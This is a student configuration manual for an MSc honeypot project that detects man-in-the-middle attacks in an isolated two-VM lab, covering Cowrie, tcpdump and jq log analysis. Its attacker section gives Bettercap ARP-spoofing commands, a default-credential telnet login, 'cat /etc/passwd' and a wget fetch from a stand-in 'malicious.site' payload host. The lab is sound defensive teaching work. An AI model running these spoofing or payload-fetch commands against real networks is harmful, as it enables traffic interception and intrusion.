National College of Ireland

Configuration Manual

MSc Research Project
Practicum

Goutham Krishna Plamparambil Dinumon
Student ID: 23277840

School of Computing
National College of Ireland

Supervisor: Mark Monaghan

National College of Ireland

MSc Project Submission Sheet

School of Computing

Student Name:	Goutham Krishna Plamparambil Dinumon
Student ID:	23277840
Programme:	MSc Cybersecurity **Year:** 2024-2025
Module:	Practicum Part 2
Lecturer:	Mark Monaghan
Submission Due Date:	15/09/2025
Project Title:	Using Honeypots and Deceptive Technology to Improve IoT security by Detecting MITM Attacks
Word Count:	**495 Page Count: 4**

I hereby certify that the information contained in this (my submission) is information pertaining to research I conducted for this project. All information other than my own contribution will be fully referenced and listed in the relevant bibliography section at the rear of the project.
ALL internet material must be referenced in the bibliography section. Students are required to use the Referencing Standard specified in the report template. To use other author's written or electronic work is illegal (plagiarism) and may result in disciplinary action.

Signature:

Date: 15/09/2025

PLEASE READ THE FOLLOWING INSTRUCTIONS AND CHECKLIST

Attach a completed copy of this sheet to each project (including multiple copies)	□
Attach a Moodle submission receipt of the online project submission, to each project (including multiple copies).	□
You must ensure that you retain a HARD COPY of the	□

project, both for your own reference and in case a project is lost or mislaid. It is not sufficient to keep a copy on computer.	

Assignments that are submitted to the Programme Coordinator Office must be placed into the assignment box located outside the office.

Office Use Only	
Signature:	
Date:	
Penalty Applied (if applicable):	

Configuration Manual

Goutham Krishna Plamparambil Dinumon
23277840

Project Title:
Using Honeypots and Deceptive Technology to Improve IoT Security by Detecting MITM Attacks

1. Overview

This project demonstrates how a deception-based honeypot can detect and log Man-in-the-Middle (MITM) attacks in an IoT-like environment.
The setup uses two VirtualBox virtual machines connected via an isolated internal network:
Ubuntu 24.04 – Runs the Cowrie honeypot and packet capture tools.
Kali Linux 2024.x – Simulates the attacker, using Bettercap for MITM and Telnet for intrusion.
All actions, logs, and captures are stored locally and analysed without internet connectivity, ensuring a safe and controlled lab environment.

2. System Requirements

Hardware

- Laptop/PC with 4 GB RAM minimum
- 40 GB available disk space
- Virtualization enabled in BIOS

Software

- Oracle VirtualBox (latest version)
- Ubuntu Server 24.04 ISO
- Kali Linux ISO (latest)
- Cowrie honeypot (installed on Ubuntu)
- Bettercap (pre-installed in Kali)
- tcpdump (installed in Ubuntu)
- jq (installed in Ubuntu for JSON log parsing)
- Python 3 (installed in Ubuntu for quickplots script)

3. Network Setup

Both VMs are configured to use the **Host-Only Adapter** mode in VirtualBox for isolated communication.

IP assignments:

- **Ubuntu (Honeypot)** → `192.168.1.30` (interface: `enp0s3`)
- **Kali (Attacker)** → `192.168.1.10` (interface: `eth0`)

To configure static IPs in Ubuntu:

```
sudo nano /etc/netplan/01-netcfg.yaml
```

Example:

```
network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: no
      addresses: [192.168.1.30/24]
      gateway4: 192.168.1.1
```

Apply changes:

```
sudo netplan apply
```

4. Cowrie Honeypot Setup (Ubuntu)

4.1 Navigate to Cowrie directory

Cowrie was previously installed in:

```
cd ~/cowrie
```

4.2 Start Cowrie in non-daemon mode

```
./bin/cowrie start -n
```

This starts the honeypot so that output is visible directly in the terminal.

5. Packet Capture Setup (Ubuntu)

5.1 Open a second terminal and run tcpdump

```
mkdir -p ~/iot-mitm-results
cp ~/cowrie/var/log/cowrie/cowrie.json ~/iot-mitm-results/
sudo tcpdump -i enp0s3 -w ~/iot-mitm-results/mitm_demo.pcap host
192.168.1.10 -c 200
```

- Captures 200 packets between attacker and honeypot.
- Saved as `mitm_demo.pcap` inside `~/iot-mitm-results/`.

6. MITM Attack Execution (Kali)

6.1 Terminal 1 – Bettercap MITM

```
sudo bettercap -iface eth0
```

Inside Bettercap console:

```
set arp.spoof.targets 192.168.1.30
arp.spoof on
net.sniff on
```

6.2 Terminal 2 – Telnet intrusion

```
telnet 192.168.1.30 2323
```

When prompted:

```
login: root
Password: toor
```

Run attacker-like commands:

```
ls
cd /
cat /etc/passwd
uname -a
wget http://malicious.site/payload
exit
```

7. Log Monitoring & Analysis (Ubuntu)

7.1 View live logs

Open a new terminal:

```
tail -f ~/cowrie/var/log/cowrie/cowrie.json
```

7.2 Generate basic metrics

```
LOG=~/cowrie/var/log/cowrie/cowrie.json
jq 'select(.eventid=="cowrie.session.connect")' $LOG | wc -l
jq 'select(.eventid=="cowrie.login.failed")' $LOG | wc -l
jq 'select(.eventid=="cowrie.login.success")' $LOG | wc -l
jq -r 'select(.eventid=="cowrie.session.closed") | .duration' $LOG \
    | awk '{sum+=$1; n+=1} END{if(n) printf("avg_dwell=%.2fs\n",sum/n);
else print "avg_dwell=0"}'
```

- **Connections**: Total sessions initiated
- **Failed logins**: Brute force attempts
- **Successful logins**: Intrusions
- **Dwell time**: Average time attacker stayed connected

8. Quickplots for Visuals (Ubuntu)

Run Cowrie quickplots to create graphs:

```
python3 ~/cowrie_quickplots.py
```

This generates:

- `sessions_per_hour.png`
- `top_commands.png`

Move them to results folder:

```
cp ~/sessions_per_hour.png ~/top_commands.png ~/iot-mitm-results/
```

9. Final Results Folder Structure

After the demo, the `~/iot-mitm-results/` directory will contain:

```
cowrie.json
mitm_demo.pcap
```

```
sessions_per_hour.png
top_commands.png
```

10. Safety & Ethics

- All tests were performed in a **closed, internal network**.
- No real IoT devices were used.
- No harmful payloads were executed; commands were purely simulated.